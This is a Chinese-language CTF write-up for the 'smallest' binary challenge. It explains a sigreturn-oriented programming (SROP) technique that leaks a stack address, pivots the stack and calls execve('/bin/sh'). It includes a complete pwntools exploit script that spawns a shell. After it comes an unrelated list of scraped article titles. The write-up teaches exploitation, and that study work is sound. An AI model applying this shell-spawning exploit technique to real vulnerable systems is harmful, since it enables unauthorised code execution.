srop实战
前言
srop 的作用比较强,在条件允许的情况下,尽量使用它。题目来自于 i春秋的一个比赛。
题目链接:
https://gitee.com/hac425/blog_data/blob/master/smallest
正文
程序非常的简单

使用 syscall 进行系统调用,往 rsp 读入数据,然后 ret, 直接就可以控制 rip.
程序非常的小,除了 这里基本没有代码,但是我们有 syscall ,srop利用之。首先明确目标。
execve(“/bin/sh”, 0, 0)
syscall 的传参顺序为
rdi,rsi,rdx,rcx,r8, r9
然后 rax 存放 系统调用号 以及 syscall 的返回值。
所以我们需要设置
rax=59
rdi---> /bin/sh
rsi=0
rdx=0
然后 syscall.就可以拿到 shell 了。
使用 srop 我们可以控制所有的寄存器的值。
所以我们需要一个可写的地址在一次srop结束后设置为 rsp.
下面根据 exp 进行讲解
首先是通过栈中环境变量,泄露栈的地址,得到一个可写的地址,用于 srop 时设置 rsp.
因为 write 的系统调用号 为 1, 而且 stdout 也为 1, 这样我们输入一个字符。然后通过 rop 跳到
mov rdi, rax ; fd
syscall
我们就能 调用 write(1,rsi,rdx), 此时的 rsi 就是栈的地址,rdx 则为 0x400,我们就能 拿到 栈的地址。
有一点需要注意的是,我们需要事先布置好栈数据,然后再次进入 start, 控制 rax.因为我们要控制的 rax 值小于 我们需要布置的数据的长度。
again = 0x4000B0 #xor rax, rax
rdi_rsi_sys = 0x04000BB # mov rdi, rax
payload = p64(again)
payload += p64(rdi_rsi_sys)
payload += p64(again) # addr for after leak
p.send(payload)
sleep(0.2)
log.info("set stack for call write(1,....)")
# pause()
p.send('\xbb')
data = p.recv()
sleep(0.2)
stack_addr = u64(data[0x10:0x18]) - 0x253
log.info(hex(stack_addr))
log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)")
然后就是 srop 了。首先使用 srop 修改 rsp到 我们 一个刚刚泄露的地址.设置好 /bin/sh, 这么做的原因是,在一个确定地址处设置好 /bin/sh,用于后面 getshell.

然后又回到开头,设置 SigreturnFrame, 此时已经可以确定/bin/sh 的地址了。设置好 寄存器。srop之后,再次 syscall 执行
execve(“/bin/sh”, 0, 0)

最后
很多东西调试一遍就清楚了。调试 exp, 写一点就调试一点。srop 时 ,栈顶开始为 SigreturnFrame.
参考:
http://blog.csdn.net/qq_29343201/article/details/72627439
完整的 exp
from pwn import *
from time import sleep
context(os='linux', arch='amd64', log_level='debug')
p = process("./smallest")
# gdb.attach(p, '''
# bp *0x004000BE
# ''')
pause()
again = 0x4000B0 #xor rax, rax
rdi_rsi_sys = 0x04000BB # mov rdi, rax
payload = p64(again)
payload += p64(rdi_rsi_sys)
payload += p64(again) # addr for after leak
p.send(payload)
sleep(0.2)
log.info("set stack for call write(1,....)")
# pause()
p.send('\xbb')
data = p.recv()
sleep(0.2)
stack_addr = u64(data[0x10:0x18]) - 0x253
log.info(hex(stack_addr))
log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)")
# pause()
# swtch rsp ---> to leak addr, for get /bin/sh addr
frame = SigreturnFrame()
frame.rsp = stack_addr # after sigretrun, rsp
frame.rip = again # ret to begin
payload = p64(again)
payload += 'd' * 8
payload += str(frame)
sleep(0.2)
p.send(payload)
syscall_addr = 0x04000BE
payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
pause()
sleep(0.2)
p.send(payload)
log.info("switch stack done")
pause()
payload = p64(again)
payload += "B" * 8
frame = SigreturnFrame()
frame.rsp = stack_addr # after sigretrun, rsp
frame.rip = syscall_addr # ret to begin
frame.rax = 59
frame.rdi = stack_addr + 0x10 + 0xf8
payload += str(frame)
payload += "/bin/sh\x00"
p.send(payload)
pause()
payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
p.send(payload)
p.interactive()
srop实战的更多相关文章
- SSH实战 · 唯唯乐购项目(上)
前台需求分析 一:用户模块 注册 前台JS校验 使用AJAX完成对用户名(邮箱)的异步校验 后台Struts2校验 验证码 发送激活邮件 将用户信息存入到数据库 激活 点击激活邮件中的链接完成激活 根 ...
- GitHub实战系列汇总篇
基础: 1.GitHub实战系列~1.环境部署+创建第一个文件 2015-12-9 http://www.cnblogs.com/dunitian/p/5034624.html 2.GitHub实战系 ...
- MySQL 系列(四)主从复制、备份恢复方案生产环境实战
第一篇:MySQL 系列(一) 生产标准线上环境安装配置案例及棘手问题解决 第二篇:MySQL 系列(二) 你不知道的数据库操作 第三篇:MySQL 系列(三)你不知道的 视图.触发器.存储过程.函数 ...
- Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- 给缺少Python项目实战经验的人
我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...
- asp.net core 实战之 redis 负载均衡和"高可用"实现
1.概述 分布式系统缓存已经变得不可或缺,本文主要阐述如何实现redis主从复制集群的负载均衡,以及 redis的"高可用"实现, 呵呵双引号的"高可用"并不是 ...
- Linux实战教学笔记08:Linux 文件的属性(上半部分)
第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...
- Linux实战教学笔记07:Linux系统目录结构介绍
第七节 Linux系统目录结构介绍 标签(空格分隔):Linux实战教学笔记 第1章 前言 windows目录结构 C:\windows D:\Program Files E:\你懂的\精品 F:\你 ...
- Linux实战教学笔记06:Linux系统基础优化
第六节 Linux系统基础优化 标签(空格分隔):Linux实战教学笔记-陈思齐 第1章 基础环境 第2章 使用网易163镜像做yum源 默认国外的yum源速度很慢,所以换成国内的. 第一步:先备份 ...
随机推荐
- Android学习之一
- (转)pt-online-schema-change在线修改表结构
原文:http://www.ywnds.com/?p=4442 一.背景 MySQL大字段的DDL操作:加减字段.索引.修改字段属性等,在5.1之前都是非常耗时耗力的,特别是会对MySQL服务产生影响 ...
- SQL命令导入导出
利用cmd的操作命令导出,详情如下(备注:方法二是转载网上的教程):1:G:\Oracle\product\10.1.0\Client_1\NETWORK\ADMIN目录下有个tnsname.ora文 ...
- 搭建互联网架构学习--006--duboo准备之zk集群部署安装
dubbo集群部署安装依赖于zookeeper,所以先安装zookeeper集群. 1.准备三台机器做集群 2.配置 配置java环境 ,2,修改操作系统的/etc/hosts文件,添加IP与主机名 ...
- spring websocket 和socketjs实现单聊群聊,广播的消息推送详解
spring websocket 和socketjs实现单聊群聊,广播的消息推送详解 WebSocket简单介绍 随着互联网的发展,传统的HTTP协议已经很难满足Web应用日益复杂的需求了.近年来,随 ...
- 第12章—使用NoSQL数据库—使用MongoDB+Jpa操作数据库
使用MongoDB+Jpa操作数据库 SpringData还提供了对多种NoSQL数据库的支持,包括MongoDB;neo4j和redis.他不仅支持自动化的repository,还支持基于模板的数据 ...
- 【转】asp.net mvc(模式)和三层架构(BLL、DAL、Model)的联系与区别
原文地址:http://blog.csdn.net/luoyeyu1989/article/details/8275866 首先,MVC和三层架构,是不一样的. 三层架构中,DAL(数据访问层).BL ...
- Word2vec 理解
1.有DNN做的word2vec,取隐藏层到softmax层的权重为词向量,softmax层的叶子节点数为词汇表大小 2-3的最开始的词向量是随机初始化的 2.哈夫曼树:左边走 sigmoid(当前节 ...
- Nodejs学习笔记(八)—Node.js + Express 实现上传文件功能(felixge/node-formidable)
前言 前面讲了一个构建网站的示例,这次在此基础上再说说web的常规功能----文件上传,示例以一个上传图片的功能为例子 上传功能命名用formidable实现,示例很简单! PS:最近比较忙,距上一次 ...
- 模块打包工具webpack
1.webpack的安装 1.1在安装node的基础上,npm install -g webpack(window版本,因为是全局安装,所以无所谓是哪个路径下) 1.2新建一个文件夹用于此项目 eg ...